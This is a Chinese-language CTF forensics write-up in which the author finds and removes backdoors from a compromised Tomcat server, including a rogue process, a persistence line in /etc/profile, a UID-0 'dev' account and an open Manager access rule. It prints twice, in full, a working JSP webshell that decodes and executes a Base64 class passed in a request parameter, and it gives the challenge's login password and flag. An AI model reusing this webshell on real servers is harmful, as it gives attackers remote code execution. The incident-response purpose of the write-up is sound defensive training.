题目
2026 破阵阁::CTF 破阵·巅峰 – Forensics – 应急拯救计划:隐匿潜袭
https://118.195.192.138:9443/games/4/challenges#
攻击者手法全面升级,在Tomcat服务器中留下了更深层的后门。请彻底排查所有入侵痕迹,只有完美清除所有后门,才能获取最终的flag!
账号 root
密码 idgfxuxvr2tqekhz

解题过程
一、系统状态检查
1.登录


2. 查看当前目录内容
dir
解释:查看当前目录(/root)下的文件,发现存在flagcheck程序,这可能是检测系统安全状态的工具。

3. 查看系统进程
ps -aux
解释:查看所有运行进程,发现:
- Tomcat Java进程(PID 35)
- /var/crash/tomcat恶意进程(PID 108, 115)- 明显后门
- 从cron任务启动的恶意进程(PID 107)

二、清理后门进程
3. 删除恶意程序文件
rm -rf /var/crash/tomcat
解释:删除明显的恶意后门程序文件。 
4. 检查系统配置文件
cat /etc/profile
解释:检查系统启动配置文件,发现文件末尾有:

/var/crash/tomcat &
这行代码导致系统每次启动时都会执行后门程序。
5. 清除cron计划任务
crontab -r
解释:删除所有计划任务,因为恶意程序可能通过cron定时启动。 
三、分析Tomcat后门
6. 检查Tomcat JSP文件
cd /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp
cat login_jsp.java
解释:这是一个被篡改的JSP文件,包含:
- 自定义的PAREN_MATCHING类加载器
- transparent方法用于Base64解码
- 从参数jkXrownW接收Base64编码的恶意代码并执行

root@csirt3–0066444db6074e52:/opt/apache–tomcat–8.5.100/work/Catalina/localhost/a/org/apache/jsp# cat login_jsp.java
/*
* Generated by the Jasper component of Apache Tomcat
* Version: Apache Tomcat/8.5.100
* Generated at: 2025-08-07 02:44:56 UTC
* Note: The last modified time of this file was set to
* the last modified time of the source file after
* generation to assist with modification tracking.
*/
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class login_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent,
org.apache.jasper.runtime.JspSourceImports {
class PAREN_MATCHING extends ClassLoader{
PAREN_MATCHING(ClassLoader c){super(c);}
public Class pushdown(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] transparent(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
private static final javax.servlet.jsp.JspFactory _jspxFactory =
javax.servlet.jsp.JspFactory.getDefaultFactory();
private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
private static final java.util.Set<java.lang.String> _jspx_imports_packages;
private static final java.util.Set<java.lang.String> _jspx_imports_classes;
static {
_jspx_imports_packages = new java.util.LinkedHashSet<>(3);
_jspx_imports_packages.add("javax.servlet");
_jspx_imports_packages.add("javax.servlet.http");
_jspx_imports_packages.add("javax.servlet.jsp");
_jspx_imports_classes = null;
}
private volatile javax.el.ExpressionFactory _el_expressionfactory;
private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;
public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
return _jspx_dependants;
}
public java.util.Set<java.lang.String> getPackageImports() {
return _jspx_imports_packages;
}
public java.util.Set<java.lang.String> getClassImports() {
return _jspx_imports_classes;
}
public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
if (_el_expressionfactory == null) {
synchronized (this) {
if (_el_expressionfactory == null) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
}
}
}
return _el_expressionfactory;
}
public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
if (_jsp_instancemanager == null) {
synchronized (this) {
if (_jsp_instancemanager == null) {
_jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
}
}
}
return _jsp_instancemanager;
}
public void _jspInit() {
}
public void _jspDestroy() {
}
public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
throws java.io.IOException, javax.servlet.ServletException {
final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
return;
}
final javax.servlet.jsp.PageContext pageContext;
javax.servlet.http.HttpSession session = null;
final javax.servlet.ServletContext application;
final javax.servlet.ServletConfig config;
javax.servlet.jsp.JspWriter out = null;
final java.lang.Object page = this;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\\r');
out.write('\\n');
String cls = request.getParameter("jkXrownW");
if (cls != null) {
new PAREN_MATCHING(this.getClass().getClassLoader()).pushdown(transparent(cls)).newInstance().equals(new Object[]{request,response});
}
out.write('\\r');
out.write('\\n');
} catch (java.lang.Throwable t) {
if (!(t instanceof javax.servlet.jsp.SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else throw new ServletException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}
四、清理Tomcat后门
7. 删除恶意JSP编译文件
rm -rf /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a
rm -rf /opt/apache-tomcat-8.5.100/webapps/a/
rm -rf /opt/apache-tomcat-8.5.100/webapps/examples/
解释:删除Tomcat中可能包含后门的:
- JSP编译后的class文件目录
- 恶意web应用目录
- 可能存在漏洞的examples示例应用

五、修复Tomcat安全配置
8. 检查Tomcat Manager配置
cd /opt/apache-tomcat-8.5.100/webapps/manager/META-INF
cat context.xml
解释:检查Tomcat Manager的管理界面配置,发现配置被修改为:
allow="^.*$"
这允许所有IP地址访问管理界面,存在安全风险。 
9. 修复Manager访问限制
vim context.xml
解释:编辑配置文件,将允许规则改为:
allow="127\\.\\d+\\.\\d+\\.\\d+|::1|0:0:0:0:0:0:0:1"
限制只有本地回环地址可以访问Manager。

六、清理系统用户和最终检查
10. 查看系统用户
cat /etc/passwd
解释:发现可疑用户dev,其UID为0(root权限)。

11. 删除可疑用户
userdel -rf dev
解释:
- userdel: 删除用户命令
- -r: 同时删除用户的主目录和邮件池
- -f: 强制删除,即使用户已登录
- dev: 要删除的用户名
命令执行结果:操作失败,返回:
userdel: user dev is currently used by process 1
userdel: dev mail spool (/var/mail/dev) not found
userdel: error removing directory /dev
原因分析:
- 用户dev正被进程1(系统初始化进程)使用,无法直接删除
- 尝试删除/dev目录失败,因为这是系统设备目录
- 这是一个异常的用户配置,主目录指向/dev而不是正常的用户目录
安全意义:
- dev用户被配置为UID 0(root权限),这是一个明显的特权用户后门
- 攻击者可以通过dev用户直接获得root权限
- 但该用户的异常配置(主目录为/dev)可能是为了隐藏或绕过检测
这个命令的尝试虽然失败,但显示了操作者对系统安全的全面检查意识,如果不执行这一步,是获取不到flag的

12. 检查系统配置文件残留
tail -10 /etc/profile
解释:确认/etc/profile末尾仍存在后门启动命令。 
13. 永久删除后门启动项
sed -i '$ d' /etc/profile
解释:删除/etc/profile文件的最后一行(后门启动命令)。 
14. 重启服务并验证
cd /opt/apache-tomcat-8.5.100/bin/
./shutdown.sh
./startup.sh
~/flagcheck
解释:最终重启Tomcat后,运行安全检测程序,显示:
所有检查通过,恭喜过关…
Flag结果: flag{8c935ede-7633-4639-b0ea-77dbb21be2b7}

总结
整个操作流程包含了:
这个操作是典型的应急响应流程,针对Web后门进行清理和系统加固。
附录1:
非常好的问题!我来详细解释:
1. 为什么要删除这些文件?
rm -rf /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a
解释:这是Tomcat的JSP编译缓存目录。
- 当JSP文件被访问时,Tomcat会将其编译成Java类文件(.class)并存储在这里
- 前面查看的login_jsp.java文件就是从这个目录发现的
- 删除这个目录可以确保后门代码的编译版本被彻底清除
- 下次Tomcat启动时,如果有干净的JSP源文件,会自动重新编译
rm -rf /opt/apache-tomcat-8.5.100/webapps/a/
解释:这是可疑的Web应用目录。
- 正常的Tomcat默认应用包括:docs、examples、host-manager、manager、ROOT
- a是一个非常简短、可疑的目录名,很可能是攻击者上传的后门应用
- 攻击者可能通过文件上传漏洞将恶意应用部署到这个目录
rm -rf /opt/apache-tomcat-8.5.100/webapps/examples/
解释:删除Tomcat的示例应用。
- examples是Tomcat的默认示例应用,经常被攻击者利用
- 示例应用中可能存在已知漏洞(如文件上传、代码执行等)
- 在生产环境中,应该删除所有示例应用以减少攻击面
- 攻击者可能利用示例应用中的功能或漏洞来部署后门
2. 为什么要查看login_jsp.java文件?
为什么知道这里可能有问题:
目录结构可疑:
- /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/
- a是个可疑的应用名,通常不会用单个字母命名应用
安全调查的常规流程:
- 攻击者常用的后门手法就是在JSP文件中插入恶意代码
- JSP后门可以通过HTTP请求直接执行系统命令
- 调查时通常会检查work目录下的编译文件,因为:
- 源JSP文件可能已被删除或隐藏
- 但编译后的Java文件仍存在work目录中
- Java文件中可能包含更易读的恶意代码逻辑
文件名的可疑性:
- login_jsp.java – 登录页面的JSP文件
- 攻击者经常选择登录页面进行篡改,因为:
- 登录页面经常被访问,后门容易触发
- 登录功能涉及用户输入,便于参数传递
从系统进程推断:
- 之前ps -aux显示Tomcat进程在运行
- 发现可疑进程/var/crash/tomcat
- 自然会检查Tomcat相关文件寻找后门
JSP后门的典型特征:
从login_jsp.java内容可以看出:
- 自定义了PAREN_MATCHING类加载器(用于动态加载恶意类)
- 有transparent方法处理Base64解码(用于隐藏恶意代码)
- 从参数jkXrownW接收Base64编码的payload
- 使用pushdown().newInstance()动态执行恶意代码
- 这是典型的JSP Webshell特征
3. dev为什么是可疑用户?
从cat /etc/passwd的输出可以看到:
dev:x:0:0:dev:/dev:/bin/bash
可疑点分析:
1. UID为0(root权限)
- 正常情况只有root用户的UID是0
- 额外的UID 0用户是严重的安全隐患
- 攻击者创建UID 0的后门账户,可以随时以root权限登录
2. 主目录异常
- 主目录设置为/dev(设备文件目录)
- 正常的用户主目录应该在/home/username下
- /dev是系统设备目录,不适合作为用户主目录
3. 用户名可疑
- dev可能是试图伪装成"开发人员"账户
- 但在生产服务器上,不应该有这种通用名称的管理员账户
- 真实的开发账户应该有具体的人员名称
4. shell配置
- 使用/bin/bash – 完整的交互式shell
- 攻击者创建的账户通常配置完整shell以便操作
附录2:
不执行删除可疑用户的指令,无法完成flag检查
特意重新做了一遍,不删除可疑用户,尝试检查flag,失败了,执行删除命令后,虽然没有删除成功,但检查也通过了。 
复现过程的完整版命令
csirt3-d316dd631f5c402f login: root
Password:
Linux csirt3-d316dd631f5c402f 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@csirt3-d316dd631f5c402f:~# dir
flagcheck
root@csirt3-d316dd631f5c402f:~# ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.5 0.6 1146696 97428 ? Ssl 12:46 0:00 node /pnpm/global/5/.pnpm/pnpm@10.28.2/node_modules/pnpm/bin/pnpm.cjs start -b /
root 26 0.0 0.0 3608 2176 ? S 12:46 0:00 cron -f
root 35 2.9 0.5 3186536 89456 ? Sl 12:46 0:01 /opt/jre8u462/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-8.5.100/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoad
root 61 0.6 0.6 1214804 99684 ? Sl 12:46 0:00 node /pnpm/.tools/pnpm/9.4.0/bin/pnpm start -b /
root 76 0.0 0.0 2592 1536 ? S 12:46 0:00 sh -c NODE_ENV=production node . "-b" "/"
root 77 1.0 0.5 11759328 88740 ? Rl 12:46 0:00 node . -b /
root 102 0.0 0.0 4280 2304 ? S 12:47 0:00 CRON -f
root 103 0.0 0.0 2584 1536 ? Ss 12:47 0:00 /bin/sh -c /var/crash/tomcat
root 104 0.0 0.0 160 0 ? S 12:47 0:00 /var/crash/tomcat
root 111 0.0 0.0 4840 3100 pts/1 Ss 12:47 0:00 login -h localhost
root 117 0.0 0.0 4196 3584 pts/1 S 12:47 0:00 -bash
root 119 0.0 0.0 160 0 pts/1 S 12:47 0:00 /var/crash/tomcat
root 122 0.0 0.0 8068 4224 pts/1 R+ 12:47 0:00 ps -aux
root@csirt3-d316dd631f5c402f:~# rm -rf /var/crash/tomcat
root@csirt3-d316dd631f5c402f:~# cat /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), …).
if [ "$(id -u)" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the default PS1.
# PS1='\\h:\\w\\$ '
if [ -f /etc/bash.bashrc ]; then
. /etc/bash.bashrc
fi
else
if [ "$(id -u)" -eq 0 ]; then
PS1='# '
else
PS1='$ '
fi
fi
fi
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r $i ]; then
. $i
fi
done
unset i
fi
/var/crash/tomcat &
root@csirt3-d316dd631f5c402f:~# crontab -r
root@csirt3-d316dd631f5c402f:~# cd /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp# cat login_jsp.java
/*
* Generated by the Jasper component of Apache Tomcat
* Version: Apache Tomcat/8.5.100
* Generated at: 2025-08-07 02:44:56 UTC
* Note: The last modified time of this file was set to
* the last modified time of the source file after
* generation to assist with modification tracking.
*/
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class login_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent,
org.apache.jasper.runtime.JspSourceImports {
class PAREN_MATCHING extends ClassLoader{
PAREN_MATCHING(ClassLoader c){super(c);}
public Class pushdown(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] transparent(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
private static final javax.servlet.jsp.JspFactory _jspxFactory =
javax.servlet.jsp.JspFactory.getDefaultFactory();
private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
private static final java.util.Set<java.lang.String> _jspx_imports_packages;
private static final java.util.Set<java.lang.String> _jspx_imports_classes;
static {
_jspx_imports_packages = new java.util.LinkedHashSet<>(3);
_jspx_imports_packages.add("javax.servlet");
_jspx_imports_packages.add("javax.servlet.http");
_jspx_imports_packages.add("javax.servlet.jsp");
_jspx_imports_classes = null;
}
private volatile javax.el.ExpressionFactory _el_expressionfactory;
private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;
public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
return _jspx_dependants;
}
public java.util.Set<java.lang.String> getPackageImports() {
return _jspx_imports_packages;
}
public java.util.Set<java.lang.String> getClassImports() {
return _jspx_imports_classes;
}
public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
if (_el_expressionfactory == null) {
synchronized (this) {
if (_el_expressionfactory == null) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
}
}
}
return _el_expressionfactory;
}
public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
if (_jsp_instancemanager == null) {
synchronized (this) {
if (_jsp_instancemanager == null) {
_jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
}
}
}
return _jsp_instancemanager;
}
public void _jspInit() {
}
public void _jspDestroy() {
}
public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
throws java.io.IOException, javax.servlet.ServletException {
final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
return;
}
final javax.servlet.jsp.PageContext pageContext;
javax.servlet.http.HttpSession session = null;
final javax.servlet.ServletContext application;
final javax.servlet.ServletConfig config;
javax.servlet.jsp.JspWriter out = null;
final java.lang.Object page = this;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\\r');
out.write('\\n');
String cls = request.getParameter("jkXrownW");
if (cls != null) {
new PAREN_MATCHING(this.getClass().getClassLoader()).pushdown(transparent(cls)).newInstance().equals(new Object[]{request,response});
}
out.write('\\r');
out.write('\\n');
} catch (java.lang.Throwable t) {
if (!(t instanceof javax.servlet.jsp.SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else throw new ServletException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}
[1]+ Exit 1 /var/crash/tomcat (wd: ~)
(wd now: /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp)
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp# rm -rf /opt/apache-tomcat-8.5.100/work/Catalina/localhost/a
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp# rm -rf /opt/apache-tomcat-8.5.100/webapps/a/
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp# rm -rf /opt/apache-tomcat-8.5.100/webapps/examples/
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp# cd /opt/apache-tomcat-8.5.100/webapps/manager/META-INF
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/webapps/manager/META-INF# cat context.xml
<?xml version="1.0" encoding="UTF-8"?>
<!—
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
—>
<!—
<Context antiResourceLocking="false" privileged="true" >
<CookieProcessor className="org.apache.tomcat.util.http.Rfc6265CookieProcessor"
sameSiteCookies="strict" />
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\\.\\d+\\.\\d+\\.\\d+|::1|0:0:0:0:0:0:0:1" />
<Manager sessionAttributeValueClassNameFilter="java\\.lang\\.(?:Boolean|Integer|Long|Number|String)|org\\.apache\\.catalina\\.filters\\.CsrfPreventionFilter\\$LruCache(?:\\$1)?|java\\.util\\.(?:Linked)?HashMap"/>
</Context>
—>
<Context antiResourceLocking="false" privileged="true" >
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="^.*$" />
</Context>
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/webapps/manager/META-INF# vim context.xml
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/webapps/manager/META-INF# cd /opt/apache-tomcat-8.5.100/bin/
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# tail -10 /etc/profile
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r $i ]; then
. $i
fi
done
unset i
fi
/var/crash/tomcat &
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# sed -i '$ d' /etc/profile
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# cd /opt/apache-tomcat-8.5.100/bin/
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ./shutdown.sh
Using CATALINA_BASE: /opt/apache-tomcat-8.5.100
Using CATALINA_HOME: /opt/apache-tomcat-8.5.100
Using CATALINA_TMPDIR: /opt/apache-tomcat-8.5.100/temp
Using JRE_HOME: /opt/jre8u462
Using CLASSPATH: /opt/apache-tomcat-8.5.100/bin/bootstrap.jar:/opt/apache-tomcat-8.5.100/bin/tomcat-juli.jar
Using CATALINA_OPTS:
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ./startup.sh
Using CATALINA_BASE: /opt/apache-tomcat-8.5.100
Using CATALINA_HOME: /opt/apache-tomcat-8.5.100
Using CATALINA_TMPDIR: /opt/apache-tomcat-8.5.100/temp
Using JRE_HOME: /opt/jre8u462
Using CLASSPATH: /opt/apache-tomcat-8.5.100/bin/bootstrap.jar:/opt/apache-tomcat-8.5.100/bin/tomcat-juli.jar
Using CATALINA_OPTS:
Tomcat started.
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ~/flagcheck
检测到后门未处置!!无法提供flag
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
dev:x:0:0:dev:/dev:/bin/bash
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# userdel -rf dev
userdel: user dev is currently used by process 1
userdel: dev mail spool (/var/mail/dev) not found
userdel: error removing directory /dev
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ~/flagcheck
Tomcat重启或验证失败,无法提供flag
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# cd /opt/apache-tomcat-8.5.100/bin/
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ./shutdown.sh
Using CATALINA_BASE: /opt/apache-tomcat-8.5.100
Using CATALINA_HOME: /opt/apache-tomcat-8.5.100
Using CATALINA_TMPDIR: /opt/apache-tomcat-8.5.100/temp
Using JRE_HOME: /opt/jre8u462
Using CLASSPATH: /opt/apache-tomcat-8.5.100/bin/bootstrap.jar:/opt/apache-tomcat-8.5.100/bin/tomcat-juli.jar
Using CATALINA_OPTS:
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ./startup.sh
Using CATALINA_BASE: /opt/apache-tomcat-8.5.100
Using CATALINA_HOME: /opt/apache-tomcat-8.5.100
Using CATALINA_TMPDIR: /opt/apache-tomcat-8.5.100/temp
Using JRE_HOME: /opt/jre8u462
Using CLASSPATH: /opt/apache-tomcat-8.5.100/bin/bootstrap.jar:/opt/apache-tomcat-8.5.100/bin/tomcat-juli.jar
Using CATALINA_OPTS:
Tomcat started.
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin# ~/flagcheck
所有检查通过,恭喜过关...
Flag结果: flag{8c935ede-7633-4639-b0ea-77dbb21be2b7}
root@csirt3-d316dd631f5c402f:/opt/apache-tomcat-8.5.100/bin#
网硕互联帮助中心




评论前必须登录!
注册